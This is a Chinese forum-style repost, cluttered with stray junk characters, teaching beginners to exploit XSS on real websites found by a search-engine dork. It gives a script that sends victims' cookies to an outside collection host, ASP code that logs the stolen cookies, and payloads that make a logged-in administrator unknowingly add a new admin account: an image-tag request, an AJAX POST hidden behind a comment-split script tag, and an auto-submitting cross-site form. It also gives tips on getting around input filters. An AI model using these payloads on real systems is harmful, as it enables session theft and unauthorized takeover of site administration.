前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: & g9 R8 x7 T' O" k% Q2 w
3 d$ U% s3 R Zhttp://tieba.baidu.com/f?kz=1069007239. y l8 a7 M7 k' ?# e# f9 V
: C7 ?* ?$ w. ^
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
2 x6 l/ e f" z# H1 P6 t# y; q) j1 B E2 N( ?9 g8 \4 U
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。7 [6 x$ u; u* i$ n2 g2 l% u. A$ S
& k0 ^+ {) s* b! H我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。: C/ F' a! s+ w
1 n6 b2 n# _6 D+ F) u# g这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
) `5 r. m" x* D' {7 n$ x: b
! O+ d/ w1 E* d+ H3 i好了,废话不多说了,一起来看文章吧。
. S( w) B- P4 B+ V i% B4 j' }7 f9 O9 \+ }6 m: l* W
-------------------------------------------------------------------
3 F4 z+ ? U( B- _. }- b
$ k" x9 v6 W4 H G首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
- w6 h6 [) e8 n+ L. R1 \7 c' S. _: q5 W+ O' f& z- u+ }
" e/ g; e' g, m( n* R
6 ~5 D, n- w! E4 K再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:5 C+ ? k) K5 @' i1 a
% h5 g/ r2 o- C M
! b8 n& x) T" C/ [ H6 v9 |
2 o5 R- `# M% [/ C- v! J9 A这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是$ p+ u/ t j) t w2 C
1:让目标访问已跨站的网址,然后这个网址执行脚本; n; a! |3 b' x2 i) n5 S- w' J
2:然后跳转到你已经写好专门用来收集Cookie的网址
3 a% E5 ]5 \4 W: f- I! I9 i1 ?) E( B2 p$ Q) _2 a% C( \
具体实现方法:7 x2 f$ `7 _, g8 |4 A7 M
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>/ D& {' [/ k' g/ G1 x
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。5 y$ y1 k1 ?4 H& a( Q( C
) @9 L1 y1 C1 U
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:4 K0 ~8 P- Y7 r" |1 ~) b
. ?$ c. r- r7 { u7 O<html>
2 z& ^6 y' n- i' Q5 d" F<title>xx</title>
% W+ ]7 L6 k9 e0 |: [1 q! o6 x<body>
p1 p, W& {: L& x' F<%( y! R6 i3 U {' W. B: Y5 u
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
# ~6 h( N# ]6 g# Bmsg = Request("msg") //获取提交过来的msg变量,也就是cookie值3 x# C, Z. a: M
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象; _; A) [7 d2 D
set thisfile = fs.OpenTextFile(testfile,8,True,0). T% d) q- W y% `
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie: D2 y, {9 y: T0 r
thisfile.close //关闭% y3 t2 O0 h6 ^. T% N
set fs = nothing' I' U0 d. H$ S: i( O) |( k' u
%>
, o3 Z( d* B2 y2 {& t7 e</body>
& B9 @# B# s f3 y</html>3 n' ]: B& K6 T: p& Q
9 F8 ~) B' e' v. p然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
0 L) e9 L. w) I) q: z5 H" Z
0 q% S Y+ T; Y# e: k4 ]8 G * z# t) w. @0 f+ P4 O) v8 a' s2 x5 T
: a% ^$ z& j, T4 c
& B T: t2 N9 l `3 {9 W拿出来看看,呵呵,Cookie到手:
; k' W+ M5 i. V9 P9 Y& F/ M
Y- t9 w8 m2 v
9 D W$ C- y5 C" B4 y+ Z
& e Q: e4 J0 _- Q S本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~$ y! ?$ _+ v5 J$ R( Z% B4 l$ ?
' Q9 {2 X) Q& F" E4 bPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
, ^" J9 F+ H w9 O. Z5 ~9 R9 Z* A& S$ ` E
-------------------------------------------------------------------
2 ^" a* y' D8 d8 o) o7 I3 r, `) L. [
# D8 }! _; u* g% K" L7 P( s9 R下面是我对这个帖子的回复,也一起贴过来吧:
& ^0 w$ ?: y" Q/ C& ? |4 a$ x" s4 _) M u
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
) ^; U' `, E; X' ^' B; S" Q' P5 t# Y4 l- y9 v5 c
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。$ E" c: {$ Z6 G3 |5 W4 p
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
) Y% r- ?4 N$ V _' _: c
5 Z/ @8 M/ z, M: Q+ U' N J: b在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:* x7 {+ \6 _4 O/ `7 R
% K6 v( P6 X( K+ X- _2 Zhttp://user.qzone.qq.com/673116767/blog/1252452536) U8 Y$ F# t) e
1 A- c, n) Q9 j8 c& C一般发现一个xss漏洞后要做的基本上就是这些:
# H- F" \/ G# j7 P4 B1 k! i
& `$ [6 H1 ]# Y& g X" t1. 伪造请求 使用$_REQUEST或$_GET# I% Q4 k$ z, D; }# c
K' _- S/ p K. n首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:1 V$ \" h4 h1 N* Z8 L z
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" /># D0 n9 F7 b8 w& l$ m4 [0 |) ?4 c9 u
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
4 D" ?7 S4 n ^7 n
5 f. q( D, Q9 \如果是可视文本编辑器,可以尝试使用输入:
' w* N1 H# |. J+ z: u- vhttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
2 Z, c7 F ~: p/ s- }这样最终会构造出:! q. g e; R8 H. V$ p# ^
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
7 F1 q+ N8 y2 ?- U总之要举一反三。/ b# P* a6 A$ q
* p1 N( k* _1 \7 E' `
2. 伪造请求 使用$_POST
; y* E' T/ o! A P0 I, N- P4 d6 ~$ B$ N+ u9 L
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:' k5 U1 `' D, J+ p; q
<sc/*xss*/ript type="text/javascript">
1 f0 F p' \5 a* j7 v* evar aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");% K2 \# i, x: x
aj.open("POST", "/admin/admin_add.asp", false);
4 {) \4 a- C) hvar postdata = 'name=xxx&psd=yyy';
8 C7 \8 U/ Q0 {# f, X! O; xaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 3 v1 S, W |9 Y, i$ ]; |9 R. z
aj.send(postdata);1 t) [/ r3 d0 U/ b
</scr/*xss*/ipt>
5 g5 u& E' _% s/ x ]5 n# E/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
+ k+ W3 c: w$ p0 K a; A. I; h9 G% G, r+ ~' J! Q% l. G3 {& S
3. 跨站伪造请求 使用$_GET 或 $_REQUEST+ g% s9 R- Z1 |& D2 y% I
! ^1 Y D9 y) a& Y( h( B6 R与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片) L4 e1 i) ~5 x2 t& s7 x* m. a
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/> k, E+ v' q ^" \( ~. W
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。8 x$ d( ^( O0 u; L$ E9 ?! ~" F' i. i
- f( v8 ^1 r6 q2 q/ V8 d& P1 W4.跨站伪造请求 使用$_POST(0day)+ p0 n: U" |8 U3 k: e
! B/ R- W+ q. x! t1 ^; t
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
, n6 B# J! m2 w# k! ]% C& `" W/ D/ L4 `! K2 {' e4 Y% w6 y& D
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
" @ G3 ] w+ y9 N8 l' Y- w1 l8 N& k) B
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
0 i) J6 ~* n0 ~, W& Z( V
2 i# S% x; T. b; \. x, x6 xOK,该说的都说完了,Over。# k7 i8 }! h& J* B0 G6 s
|